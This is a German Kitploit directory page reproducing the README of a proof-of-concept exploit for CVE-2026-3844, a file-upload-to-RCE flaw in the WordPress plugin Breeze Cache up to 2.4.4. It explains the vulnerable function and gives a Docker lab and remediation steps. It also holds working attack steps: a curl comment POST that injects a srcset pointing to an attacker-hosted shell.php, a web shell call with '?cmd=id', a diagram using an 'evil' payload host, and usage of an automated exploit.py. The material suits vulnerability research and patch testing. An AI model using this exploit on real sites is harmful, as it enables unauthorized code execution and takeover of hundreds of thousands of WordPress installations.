Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3844 — # Proof-of-Concept-Exploit für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload, der zu Remote-Code-Ausführung in Breeze Cache <= 2.4.4 führt. Enthält Docker-Lab und automatisiertes Exploit-Skript. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-3844
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubdinosn/cve-2026-3844

CVE-2026-3844

# Proof-of-Concept-Exploit für CVE-2026-3844, einen nicht authentifizierten beliebigen Datei-Upload, der zu Remote-Code-Ausführung in Breeze Cache <= 2.4.4 führt. Enthält Docker-Lab und automatisiertes Exploit-Skript.

Repository anzeigen
51vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-3844 — Breeze Cache <= 2.4.4 Nicht authentifizierter beliebiger Datei-Upload zu RCE

Überblick

FeldWert
CVECVE-2026-3844
CVSS9.8 Kritisch (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Uneingeschränkter Upload von Dateien mit gefährlichem Typ
PluginBreeze Cache von Cloudways
BetroffenAlle Versionen bis einschließlich 2.4.4
Behoben2.4.5 (Changeset 3511463)
Installationen400.000+ aktive WordPress-Installationen
Entdeckt vonHung Nguyen (bashu)
Offengelegt2026-04-23

Schwachstelle

Die Funktion fetch_gravatar_from_remote() in inc/class-breeze-cache-cronjobs.php lädt entfernte URLs herunter und speichert sie in einem über das Web zugänglichen Verzeichnis unter Verwendung des ursprünglichen Dateinamens und der Erweiterung aus der URL. Es gibt keine MIME-Typ-Validierung, keine Erweiterungs-Whitelist und keine Inhaltsprüfung.

Wenn die Einstellung „Host Files Locally - Gravatars" aktiviert ist, hängt das Plugin in den get_avatar-Filter von WordPress über breeze_replace_gravatar_image() ein. Diese Funktion verwendet einen regulären Ausdruck, um URLs aus srcset- und src-Attributen im Avatar-HTML zu extrahieren. Ein Angreifer kann ein bösartiges srcset-Attribut injizieren, indem er einen Kommentar mit einem manipulierten Autorennamen veröffentlicht, wodurch das Plugin veranlasst wird, eine beliebige PHP-Datei herunterzuladen und zwischenzuspeichern.

Verwundbarer Code

Verwundbarer Code in fetch_gravatar_from_remote()

Was fehlt:

  • Keine Prüfung, ob der heruntergeladene Inhalt ein Bild ist (MIME-Validierung)
  • Keine Einschränkung der Dateierweiterungen (.php, .phtml, .phar werden alle akzeptiert)
  • Keine Content-Type-Prüfung der HTTP-Antwort
  • Das Zielverzeichnis ist über das Web zugänglich und erlaubt die PHP-Ausführung

Angriffsablauf

root@kitploit:~
Angreifer                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Kommentar gespeichert
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar-Filter wird ausgelöst
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extrahiert srcset-URL per Regex
   |                                        |    ruft fetch_gravatar_from_remote() auf
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP-Dateiinhalt                |
   |         -----------------------------> |
   |                                        |  Gespeichert unter:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP wird als www-data ausgeführt
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Voraussetzungen

  1. Breeze-Plugin-Version <= 2.4.4 muss installiert und aktiv sein
  2. „Host Files Locally - Gravatars" muss aktiviert sein (standardmäßig deaktiviert, unter Einstellungen > Breeze > Erweitert)
  3. WordPress-Kommentare müssen bei mindestens einem Beitrag geöffnet sein
  4. Der Payload-Server des Angreifers muss vom WordPress-Server aus erreichbar sein

Docker-Lab-Einrichtung

Dieses PoC enthält eine eigenständige Docker-Umgebung mit:

  • WordPress 6.5 + Breeze 2.4.4 (verwundbar, mit aktiviertem Gravatar-Hosting)
  • MariaDB 10.11
  • Einem Python-HTTP-Server, der die PoC-Payload bereitstellt

Voraussetzungen

  • Docker und Docker Compose
  • Python 3.8+ mit requests (pip install requests)

1. Lab starten

root@kitploit:~
cd docker/
docker compose up -d --build

~30 Sekunden warten, bis WordPress initialisiert ist. Überprüfen:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Erwartet: Stable tag: 2.4.4

2. Voraussetzungen überprüfen

Breeze-Version 2.4.4 bestätigt

Kommentare geöffnet, Gravatar-Hosting aktiviert

Die Docker-Einrichtung automatisiert:

  • Aktiviert „Host Files Locally - Gravatars" (breeze-store-gravatars-locally: 1)
  • Öffnet Kommentare bei Beiträgen
  • Deaktiviert die Kommentar-Moderation (für sofortige Ausnutzung)

Ausnutzung

Manuelle Schritte

Schritt 1 — Den bösartigen Kommentar veröffentlichen

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Ersetzen Sie PAYLOAD_IP mit der IP des Payload-Containers:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Erwartete Antwort: HTTP 302-Weiterleitung zur Beitragsseite.

Bösartiger Kommentar-POST

Schritt 2 — Avatar-Rendering auslösen

Rufen Sie die Beitragsseite auf, damit WordPress den Avatar des Kommentars rendert, wodurch der Breeze-get_avatar-Filter ausgelöst und die Payload heruntergeladen wird:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

Das gerenderte HTML zeigt, dass Breeze das injizierte srcset extrahiert und die Payload zwischengespeichert hat:

Avatar-Rendering löst Payload-Abruf aus

Schritt 3 — Datei auf der Festplatte überprüfen

Die PHP-Payload wird unverändert geschrieben, im Besitz von www-data:

shell.php auf der Festplatte im Besitz von www-data

Schritt 4 — RCE bestätigen

RCE bestätigt — id, whoami, uname, /etc/passwd

Automatisiertes Exploit-Skript

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Ausgabe des automatisierten Exploit-Skripts

Skript-Optionen

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress-Ziel-URL (erforderlich)
  -p, --payload     URL der hochzuladenden PHP-Payload
  --post-id         Spezifische Beitrags-ID für den Kommentar
  --timeout         HTTP-Timeout in Sekunden (Standard: 15)
  --wait            Sekunden auf Cron warten (Standard: 12)
  --check-only      Nur Plugin-Version prüfen, nicht ausnutzen

Abbau

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

Behebung

  1. Aktualisieren Sie Breeze auf Version 2.4.5 oder neuer
  2. Workaround (falls kein Patch möglich): Deaktivieren Sie „Host Files Locally - Gravatars" in den Breeze-Einstellungen
  3. Härtung: Fügen Sie in .htaccess in wp-content/cache/breeze-extra/gravatars/ hinzu:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

Dateistruktur

root@kitploit:~
cve-2026-3844/
  README.md              # Diese Datei
  docker/
    Dockerfile           # WordPress + Breeze 2.4.4-Image
    docker-compose.yml   # Vollständiges Lab (WP + MariaDB + Payload-Server)
    entrypoint-custom.sh # Konfiguriert WP automatisch mit verwundbaren Einstellungen
  poc/
    exploit.py           # Automatisiertes PoC-Exploit-Skript
    validate.sh          # End-to-End-Docker-Validierungs-Harness
  payloads/
    shell.php            # Harmlose PoC-Payload (echo + id)
  screenshots/           # SVG-Terminal-Screenshots (Charm freeze)
  validation/            # RAPTOR-Ausnutzbarkeits-Validierungsausgabe

Referenzen

  • NVD — CVE-2026-3844
  • Wordfence Advisory
  • WordPress-Patch-Changeset 3511463
  • Verwundbarer Quellcode (2.4.1-Tag)

Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich für autorisierte Sicherheitstests, Bildung und defensive Forschung bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.

Tool herunterladen